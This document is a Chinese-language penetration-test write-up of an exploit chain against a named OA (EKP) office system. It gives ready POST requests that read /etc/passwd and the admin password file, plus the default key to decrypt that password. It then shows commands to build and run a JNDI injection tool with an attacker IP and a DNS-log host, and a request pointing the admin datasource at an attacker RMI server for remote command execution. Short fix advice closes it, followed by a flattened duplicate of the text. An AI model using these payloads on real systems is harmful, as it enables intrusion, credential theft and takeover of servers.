记一次密码读取+SSRF渗透测试
字数 751 2025-08-05 00:16:28

某凌OA(EKP)系统渗透测试:密码读取与SSRF漏洞利用分析

0x01 漏洞背景

目标系统为某凌OA(EKP)办公系统,存在两个关键安全漏洞:

  1. 任意文件读取漏洞
  2. SSRF+JNDI远程命令执行漏洞组合

0x02 漏洞概述

  1. 任意文件读取漏洞:允许攻击者读取系统敏感文件,包括管理员密码配置文件
  2. SSRF+JNDI远程命令执行:结合后台访问权限可实现远程命令执行

0x03 任意文件读取漏洞利用

漏洞位置

/sys/ui/extend/varkind/custom.jsp

利用方法

读取系统文件(如/etc/passwd)

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 42

var={"body":{"file":"file:///etc/passwd"}}

读取管理员密码配置文件

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

密码解密方法

获取加密口令后,使用以下参数解密:

  • 加密模式:ECB
  • 填充方式:ZeroPadding
  • 默认密钥:kmssAdminkey
  • 偏移量:ECB模式不需要

0x04 SSRF+JNDI远程命令执行

前置条件

  1. 通过任意文件读取获取管理员密码
  2. 成功登录后台(/admin.do)

利用工具

使用JNDI注入利用工具(JNDI-Injection-Exploit):

  1. 下载并编译工具:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
  1. 启动监听服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "[攻击者IP]"
  1. 触发漏洞:
POST /admin.do HTTP/1.1
Host: [目标主机]
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Connection: close

method=config&datasource=rmi://[攻击者IP]:1099/zosci3

注意事项

  1. 确保1099、1389、8180端口可用
  2. 需要Java 1.7+或1.8+环境
  3. 需要Maven 3.x+环境

0x05 漏洞修复建议

  1. 限制文件读取功能的访问权限
  2. 更新系统至最新版本
  3. 修改默认加密密钥
  4. 对后台管理接口实施严格的访问控制
  5. 禁用不必要的JNDI功能

总结

该渗透测试展示了如何通过组合利用文件读取和SSRF漏洞获取系统控制权。攻击链如下:

  1. 利用文件读取漏洞获取管理员凭证
  2. 解密凭证并登录后台
  3. 通过SSRF触发JNDI注入实现远程命令执行

这种攻击方式具有较高的危害性,建议相关系统管理员及时检查并修复漏洞。

某凌OA(EKP)系统渗透测试:密码读取与SSRF漏洞利用分析 0x01 漏洞背景 目标系统为某凌OA(EKP)办公系统,存在两个关键安全漏洞: 任意文件读取漏洞 SSRF+JNDI远程命令执行漏洞组合 0x02 漏洞概述 任意文件读取漏洞 :允许攻击者读取系统敏感文件,包括管理员密码配置文件 SSRF+JNDI远程命令执行 :结合后台访问权限可实现远程命令执行 0x03 任意文件读取漏洞利用 漏洞位置 /sys/ui/extend/varkind/custom.jsp 利用方法 读取系统文件(如/etc/passwd) 读取管理员密码配置文件 密码解密方法 获取加密口令后,使用以下参数解密: 加密模式:ECB 填充方式:ZeroPadding 默认密钥: kmssAdminkey 偏移量:ECB模式不需要 0x04 SSRF+JNDI远程命令执行 前置条件 通过任意文件读取获取管理员密码 成功登录后台( /admin.do ) 利用工具 使用JNDI注入利用工具(JNDI-Injection-Exploit): 下载并编译工具: 启动监听服务: 触发漏洞: 注意事项 确保1099、1389、8180端口可用 需要Java 1.7+或1.8+环境 需要Maven 3.x+环境 0x05 漏洞修复建议 限制文件读取功能的访问权限 更新系统至最新版本 修改默认加密密钥 对后台管理接口实施严格的访问控制 禁用不必要的JNDI功能 总结 该渗透测试展示了如何通过组合利用文件读取和SSRF漏洞获取系统控制权。攻击链如下: 利用文件读取漏洞获取管理员凭证 解密凭证并登录后台 通过SSRF触发JNDI注入实现远程命令执行 这种攻击方式具有较高的危害性,建议相关系统管理员及时检查并修复漏洞。